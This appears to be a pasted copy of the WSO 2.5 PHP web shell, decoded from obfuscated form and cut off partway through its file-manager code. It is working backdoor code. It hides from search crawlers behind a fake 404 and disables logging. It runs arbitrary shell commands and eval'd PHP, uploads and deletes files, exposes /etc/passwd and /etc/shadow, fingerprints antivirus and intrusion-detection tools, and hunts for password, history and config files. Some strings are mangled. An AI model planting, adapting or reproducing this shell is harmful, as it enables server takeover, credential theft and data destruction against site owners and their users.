· 9 years ago · Jan 15, 2017, 10:40 PM
1<php if (!isset($_COOKIE['d1bbb063272557e356def6e8a7ee7a38'])) {
2 header('HTTP/1.0 404 Not Found');
3 exit;
4 }
5?>
6
7<?php
8$auth_pass="";
9$color="#df5";
10$default_action="FilesMan";
11$default_use_ajax=true;
12
13preg_replace("/.*/e",
14/* Decoded by unphp.net */
15
16<?php if (!empty($_SERVER['HTTP_USER_AGENT'])) {
17 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
18 if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
19 header('HTTP/1.0 404 Not Found');
20 exit;
21 }
22}
23@ini_set('error_log', NULL);
24@ini_set('log_errors', 0);
25@ini_set('max_execution_time', 0);
26@set_time_limit(0);
27@set_magic_quotes_runtime(0);
28@define('WSO_VERSION', '2.5');
29if (get_magic_quotes_gpc()) {
30 function WSOstripslashes($array) {
31 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
32 }
33 $_POST = WSOstripslashes($_POST);
34 $_COOKIE = WSOstripslashes($_COOKIE);
35}
36function wsoLogin() {
37 die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
38}
39function WSOsetcookie($k, $v) {
40 $_COOKIE[$k] = $v;
41 setcookie($k, $v);
42}
43if (!empty($auth_pass)) {
44 if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
45 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || ($_COOKIE[md5($_SERVER['HTTP_HOST']) ] != $auth_pass)) wsoLogin();
46}
47if (strtolower(substr(PHP_OS, 0, 3)) == "win") $os = 'win';
48else $os = 'nix';
49$safe_mode = @ini_get('safe_mode');
50if (!$safe_mode) error_reporting(0);
51$disable_functions = @ini_get('disable_functions');
52$home_cwd = @getcwd();
53if (isset($_POST['c'])) @chdir($_POST['c']);
54$cwd = @getcwd();
55if ($os == 'win') {
56 $home_cwd = str_replace("\", " / ", $home_cwd); $cwd = str_replace("\", " / ", $cwd); } if($cwd[strlen($cwd) - 1] != '/') $cwd .= '/'; if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax; if($os == 'win') $aliases = array( "ListDirectory" => "dir", "Findindex . phpincurrentdir" => "dir / s / w / bindex . php", "Find * config * . phpincurrentdir" => "dir / s / w / b * config * . php", "Showactiveconnections" => "netstat - an", "Showrunningservices" => "netstart", "Useraccounts" => "netuser", "Showcomputers" => "netview", "ARPTable" => "arp - a", "IPConfiguration" => "ipconfig / all" ); else $aliases = array( "Listdir" => "ls - lha", "listfileattributesonaLinuxsecondextendedfilesystem" => "lsattr - va", "showopenedports" => "netstat - an | grep - ilisten", "processstatus" => "psaux", "Find" => "", "findallsuidfiles" => "find / -typef - perm - 04000 - ls", "findsuidfilesincurrentdir" => "find . -typef - perm - 04000 - ls", "findallsgidfiles" => "find / -typef - perm - 02000 - ls", "findsgidfilesincurrentdir" => "find . -typef - perm - 02000 - ls", "findconfig . inc . phpfiles" => "find / -typef - nameconfig . inc . php", "findconfig * files" => "find / -typef - name\"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
57 function wsoHeader() {
58 if (empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset'];
59 global $color;
60 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title>
61<style>
62body{background-color:#444;color:#e1e1e1;}
63body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
64table.info{ color:#fff;background-color:#222; }
65span,h1,a{ color: $color !important; }
66span{ font-weight: bolder; }
67h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
68div.content{ padding: 5px;margin-left:5px;background-color:#333; }
69a{ text-decoration:none; }
70a:hover{ text-decoration:underline; }
71.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
72.bigarea{ width:100%;height:300px; }
73input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
74form{ margin:0px; }
75#toolsTbl{ text-align:center; }
76.toolsInp{ width: 300px }
77.main th{text-align:left;background-color:#5e5e5e;}
78.main tr:hover{background-color:#5e5e5e}
79.l1{background-color:#444}
80.l2{background-color:#333}
81pre{font-family:Courier,Monospace;}
82</style>
83<script>
84 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
85 var a_ = '" . htmlspecialchars(@$_POST['a']) . "'
86 var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';
87 var p1_ = '" . ((strpos(@$_POST['p1'], "
88") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';
89 var p2_ = '" . ((strpos(@$_POST['p2'], "
90") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';
91 var p3_ = '" . ((strpos(@$_POST['p3'], "
92") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';
93 var d = document;
94 function set(a,c,p1,p2,p3,charset) {
95 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
96 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
97 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
98 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
99 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
100 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
101 }
102 function g(a,c,p1,p2,p3,charset) {
103 set(a,c,p1,p2,p3,charset);
104 d.mf.submit();
105 }
106 function a(a,c,p1,p2,p3,charset) {
107 set(a,c,p1,p2,p3,charset);
108 var params = 'ajax=true';
109 for(i=0;i<d.mf.elements.length;i++)
110 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
111 sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
112 }
113 function sr(url, params) {
114 if (window.XMLHttpRequest)
115 req = new XMLHttpRequest();
116 else if (window.ActiveXObject)
117 req = new ActiveXObject('Microsoft.XMLHTTP');
118 if (req) {
119 req.onreadystatechange = processReqChange;
120 req.open('POST', url, true);
121 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
122 req.send(params);
123 }
124 }
125 function processReqChange() {
126 if( (req.readyState == 4) )
127 if(req.status == 200) {
128 var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
129 var arr=reg.exec(req.responseText);
130 eval(arr[2].substr(0, arr[1]));
131 } else alert('Request error!');
132 }
133</script>
134<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
135<form method=post name=mf style='display:none;'>
136<input type=hidden name=a>
137<input type=hidden name=c>
138<input type=hidden name=p1>
139<input type=hidden name=p2>
140<input type=hidden name=p3>
141<input type=hidden name=charset>
142</form>";
143 $freeSpace = @diskfreespace($GLOBALS['cwd']);
144 $totalSpace = @disk_total_space($GLOBALS['cwd']);
145 $totalSpace = $totalSpace ? $totalSpace : 1;
146 $release = @php_uname('r');
147 $kernel = @php_uname('s');
148 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
149 if (strpos('Linux', $kernel) !== false) $explink.= urlencode('Linux Kernel ' . substr($release, 0, 6));
150 else $explink.= urlencode($kernel . ' ' . substr($release, 0, 3));
151 if (!function_exists('posix_getegid')) {
152 $user = @get_current_user();
153 $uid = @getmyuid();
154 $gid = @getmygid();
155 $group = "?";
156 } else {
157 $uid = @posix_getpwuid(posix_geteuid());
158 $gid = @posix_getgrgid(posix_getegid());
159 $user = $uid['name'];
160 $uid = $uid['uid'];
161 $group = $gid['name'];
162 $gid = $gid['gid'];
163 }
164 $cwd_links = '';
165 $path = explode("/", $GLOBALS['cwd']);
166 $n = count($path);
167 for ($i = 0;$i < $n - 1;$i++) {
168 $cwd_links.= "<a href='#' onclick='g(\"FilesMan\",\"";
169 for ($j = 0;$j <= $i;$j++) $cwd_links.= $path[$j] . '/';
170 $cwd_links.= "\")'>" . $path[$i] . "/</a>";
171 }
172 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
173 $opt_charsets = '';
174 foreach ($charsets as $item) $opt_charsets.= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
175 $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Sql' => 'Sql', 'Php' => 'Php', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
176 if (!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout';
177 $m['Self remove'] = 'SelfRemove';
178 $menu = '';
179 foreach ($m as $k => $v) $menu.= '<th width="' . (int)(100 / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
180 $drives = "";
181 if ($GLOBALS['os'] == 'win') {
182 foreach (range('c', 'z') as $drive) if (is_dir($drive . ':\')) $drives .= ' < ahref = "#"onclick = "g(\'FilesMan\',\''.$drive.':/\')" > ['.$drive.'] < / a > '; } echo ' < tableclass = infocellpadding = 3cellspacing = 0width = 100 % > < tr > < tdwidth = 1 > < span > Uname: < br > User: < br > Php: < br > Hdd: < br > Cwd:
183 ' . ($GLOBALS['os'] == 'win'?' < br > Drives:
184 ':'') . ' < / span > < / td > ' . ' < td > < nobr > ' . substr(@php_uname(), 0, 120) . ' < ahref = "' . $explink . '"target = _blank > [exploit - db . com] < / a > < / nobr > < br > ' . $uid . '(' . $user . ') < span > Group: < / span > ' . $gid . '(' . $group . ') < br > ' . @phpversion() . ' < span > Safemode: < / span > ' . ($GLOBALS['safe_mode']?' < fontcolor = red > ON < / font > ':' < fontcolor = green > < b > OFF < / b > < / font > ') . ' < ahref = # onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">'; } function wsoFooter() { $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>"; echo "
185 < / div > < tableclass = infoid = toolsTblcellpadding = 3cellspacing = 0width = 100 % style = 'border-top:2px solid #333;border-bottom:2px solid #333;' > < tr > < td > < formonsubmit = 'g(null,this.c.value,\"\");return false;' > < span > Changedir: < / span > < br > < inputclass = 'toolsInp'type = textname = cvalue = '" . htmlspecialchars($GLOBALS['cwd']) ."' > < inputtype = submitvalue = '>>' > < / form > < / td > < td > < formonsubmit = \"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
186 </tr><tr>
187 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
188 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
189 </tr><tr>
190 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
191 <td><form method='post' ENCTYPE='multipart/form-data'>
192 <input type=hidden name=a value='FilesMAn'>
193 <input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>
194 <input type=hidden name=p1 value='uploadFile'>
195 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
196 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
197 </tr></table></div></body></html>";
198 }
199 if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) {
200 function posix_getpwuid($p) {
201 return false;
202 }
203 }
204 if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) {
205 function posix_getgrgid($p) {
206 return false;
207 }
208 }
209 function wsoEx($in) {
210 $out = '';
211 if (function_exists('exec')) {
212 @exec($in, $out);
213 $out = @join("
214", $out);
215 } elseif (function_exists('passthru')) {
216 ob_start();
217 @passthru($in);
218 $out = ob_get_clean();
219 } elseif (function_exists('system')) {
220 ob_start();
221 @system($in);
222 $out = ob_get_clean();
223 } elseif (function_exists('shell_exec')) {
224 $out = shell_exec($in);
225 } elseif (is_resource($f = @popen($in, "r"))) {
226 $out = "";
227 while (!@feof($f)) $out.= fread($f, 1024);
228 pclose($f);
229 }
230 return $out;
231 }
232 function wsoViewSize($s) {
233 if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB';
234 elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB';
235 elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB';
236 else return $s . ' B';
237 }
238 function wsoPerms($p) {
239 if (($p & 0xC000) == 0xC000) $i = 's';
240 elseif (($p & 0xA000) == 0xA000) $i = 'l';
241 elseif (($p & 0x8000) == 0x8000) $i = '-';
242 elseif (($p & 0x6000) == 0x6000) $i = 'b';
243 elseif (($p & 0x4000) == 0x4000) $i = 'd';
244 elseif (($p & 0x2000) == 0x2000) $i = 'c';
245 elseif (($p & 0x1000) == 0x1000) $i = 'p';
246 else $i = 'u';
247 $i.= (($p & 0x0100) ? 'r' : '-');
248 $i.= (($p & 0x0080) ? 'w' : '-');
249 $i.= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
250 $i.= (($p & 0x0020) ? 'r' : '-');
251 $i.= (($p & 0x0010) ? 'w' : '-');
252 $i.= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
253 $i.= (($p & 0x0004) ? 'r' : '-');
254 $i.= (($p & 0x0002) ? 'w' : '-');
255 $i.= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
256 return $i;
257 }
258 function wsoPermsColor($f) {
259 if (!@is_readable($f)) return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
260 elseif (!@is_writable($f)) return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
261 else return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
262 }
263 function wsoScandir($dir) {
264 if (function_exists("scandir")) {
265 return scandir($dir);
266 } else {
267 $dh = opendir($dir);
268 while (false !== ($filename = readdir($dh))) $files[] = $filename;
269 return $files;
270 }
271 }
272 function wsoWhich($p) {
273 $path = wsoEx('which ' . $p);
274 if (!empty($path)) return $path;
275 return false;
276 }
277 function actionSecInfo() {
278 wsoHeader();
279 echo '<h1>Server security information</h1><div class=content>';
280 function wsoSecParam($n, $v) {
281 $v = trim($v);
282 if ($v) {
283 echo '<span>' . $n . ': </span>';
284 if (strpos($v, "
285") === false) echo $v . '<br>';
286 else echo '<pre class=ml1>' . $v . '</pre>';
287 }
288 }
289 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
290 if (function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
291 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
292 wsoSecParam('Open base dir', @ini_get('open_basedir'));
293 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
294 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
295 wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
296 $temp = array();
297 if (function_exists('mysql_get_client_info')) $temp[] = "MySql (" . mysql_get_client_info() . ")";
298 if (function_exists('mssql_connect')) $temp[] = "MSSQL";
299 if (function_exists('pg_connect')) $temp[] = "PostgreSQL";
300 if (function_exists('oci_connect')) $temp[] = "Oracle";
301 wsoSecParam('Supported databases', implode(', ', $temp));
302 echo '<br>';
303 if ($GLOBALS['os'] == 'nix') {
304 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
305 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
306 wsoSecParam('OS version', @file_get_contents('/proc/version'));
307 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
308 if (!$GLOBALS['safe_mode']) {
309 $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
310 $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
311 $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
312 echo '<br>';
313 $temp = array();
314 foreach ($userful as $item) if (wsoWhich($item)) $temp[] = $item;
315 wsoSecParam('Userful', implode(', ', $temp));
316 $temp = array();
317 foreach ($danger as $item) if (wsoWhich($item)) $temp[] = $item;
318 wsoSecParam('Danger', implode(', ', $temp));
319 $temp = array();
320 foreach ($downloaders as $item) if (wsoWhich($item)) $temp[] = $item;
321 wsoSecParam('Downloaders', implode(', ', $temp));
322 echo '<br/>';
323 wsoSecParam('HDD space', wsoEx('df -h'));
324 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
325 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
326 if (isset($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
327 $temp = "";
328 for (;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
329 $uid = @posix_getpwuid($_POST['p2']);
330 if ($uid) $temp.= join(':', $uid) . "
331";
332 }
333 echo '<br/>';
334 wsoSecParam('Users', $temp);
335 }
336 }
337 } else {
338 wsoSecParam('OS Version', wsoEx('ver'));
339 wsoSecParam('Account Settings', wsoEx('net accounts'));
340 wsoSecParam('User Accounts', wsoEx('net user'));
341 }
342 echo '</div>';
343 wsoFooter();
344 }
345 function actionPhp() {
346 if (isset($_POST['ajax'])) {
347 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
348 ob_start();
349 eval($_POST['p1']);
350 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
351
352 \'") . "';
353";
354 echo strlen($temp), "
355", $temp;
356 exit;
357 }
358 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
359 wsoHeader();
360 if (isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
361 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
362 ob_start();
363 phpinfo();
364 $tmp = ob_get_clean();
365 $tmp = preg_replace(array('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', '!td, th {(.*)}!msiU', '!<img[^>]+>!msiU',), array('', '.e, .v, .h, .h th {$1}', ''), $tmp);
366 echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
367 }
368 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
369 echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
370 if (!empty($_POST['p1'])) {
371 ob_start();
372 eval($_POST['p1']);
373 echo htmlspecialchars(ob_get_clean());
374 }
375 echo '</pre></div>';
376 wsoFooter();
377 }
378 function actionFilesMan() {
379 if (!empty($_COOKIE['f'])) $_COOKIE['f'] = @unserialize($_COOKIE['f']);
380 if (!empty($_POST['p1'])) {
381 switch ($_POST['p1']) {
382 case 'uploadFile':
383 if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!";
384 break;
385 case 'mkdir':
386 if (!@mkdir($_POST['p2'])) echo "Can't create new dir";
387 break;
388 case 'delete':
389 function deleteDir($path) {
390 $path = (substr($path, -1) == '/') ? $path : $path . '/';
391 $dh = opendir($path);
392 while (($item = readdir($dh)) !== false) {
393 $item = $path . $item;
394 if ((basename($item) == "..") || (basename($item) == ".")) continue;
395 $type = filetype($item);
396 if ($type == "dir") deleteDir($item);
397 else @unlink($item);
398 }
399 closedir($dh);
400 @rmdir($path);
401 }
402 if (is_array(@$_POST['f'])) foreach ($_POST['f'] as $f) {
403 if ($f == '..') continue;
404 $f = urldecode($f);
405 if (is_dir($f)) deleteDir($f);
406 else @unlink($f);
407 }
408 break;
409 case 'paste':
410 if ($_COOKIE['act'] == 'copy') {
411 function copy_paste($c, $s, $d) {
412 if (is_dir($c . $s)) {
413 mkdir($d . $s);
414 $h = @opendir($c . $s);
415 while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
416 } elseif (is_file($c . $s)) @copy($c . $s, $d . $s);
417 }
418 foreach ($_COOKIE['f'] as $f) copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
419 } elseif ($_COOKIE['act'] == 'move') {
420 function move_paste($c, $s, $d) {
421 if (is_dir($c . $s)) {
422 mkdir($d . $s);
423 $h = @opendir($c . $s);
424 while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
425 } elseif (@is_file($c . $s)) @copy($c . $s, $d . $s);
426 }
427 foreach ($_COOKIE['f'] as $f) @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
428 } elseif ($_COOKIE['act'] == 'zip') {
429 if (class_exists('ZipArchive')) {
430 $zip = new ZipArchive();
431 if ($zip->open($_POST['p2'], 1)) {
432 chdir($_COOKIE['c']);
433 foreach ($_COOKIE['f'] as $f) {
434 if ($f == '..') continue;
435 if (@is_file($_COOKIE['c'] . $f)) $zip->addFile($_COOKIE['c'] . $f, $f);
436 elseif (@is_dir($_COOKIE['c'] . $f)) {
437 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/'));
438 foreach ($iterator as $key => $value) {
439 $zip->addFile(realpath($key), $key);
440 }
441 }
442 }
443 chdir($GLOBALS['cwd']);
444 $zip->close();
445 }
446 }
447 } elseif ($_COOKIE['act'] == 'unzip') {
448 if (class_exists('ZipArchive')) {
449 $zip = new ZipArchive();
450 foreach ($_COOKIE['f'] as $f) {
451 if ($zip->open($_COOKIE['c'] . $f)) {
452 $zip->extractTo($GLOBALS['cwd']);
453 $zip->close();
454 }
455 }
456 }
457 } elseif ($_COOKIE['act'] == 'tar') {
458 chdir($_COOKIE['c']);
459 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
460 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
461 chdir($GLOBALS['cwd']);
462 }
463 unset($_COOKIE['f']);
464 setcookie('f', '', time() - 3600);
465 break;
466 default:
467 if (!empty($_POST['p1'])) {
468 WSOsetcookie('act', $_POST['p1']);
469 WSOsetcookie('f', serialize(@$_POST['f']));
470 WSOsetcookie('c', @$_POST['c']);
471 }
472 break;
473 }
474 }
475 wsoHeader();
476 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
477 $dirContent = wsoScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
478 if ($dirContent === false) {
479 echo 'Can\'t open this folder!';
480 wsoFooter();
481 return;
482 }
483 global $sort;
484 $sort = array('name', 1);
485 if (!empty($_POST['p1'])) {
486 if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array($match[1], (int)$match[2]);
487 }
488 echo "<script>
489 function sa() {
490 for(i=0;i<d.files.elements.length;i++)
491 if(d.files.elements[i].type == 'checkbox')
492 d.files.elements[i].checked = d.files.elements[0].checked;
493 }
494</script>
495<table width='100%' class='main' cellspacing='0' cellpadding='2'>
496<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
497 $dirs = $files = array();
498 $n = count($dirContent);
499 for ($i = 0;$i < $n;$i++) {
500 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
501 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
502 $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
503 if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array('type' => 'file'));
504 elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
505 elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && ($dirContent[$i] != ".")) $dirs[] = array_merge($tmp, array('type' => 'dir'));
506 }
507 $GLOBALS['sort'] = $sort;
508 function wsoCmp($a, $b) {
509 if ($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
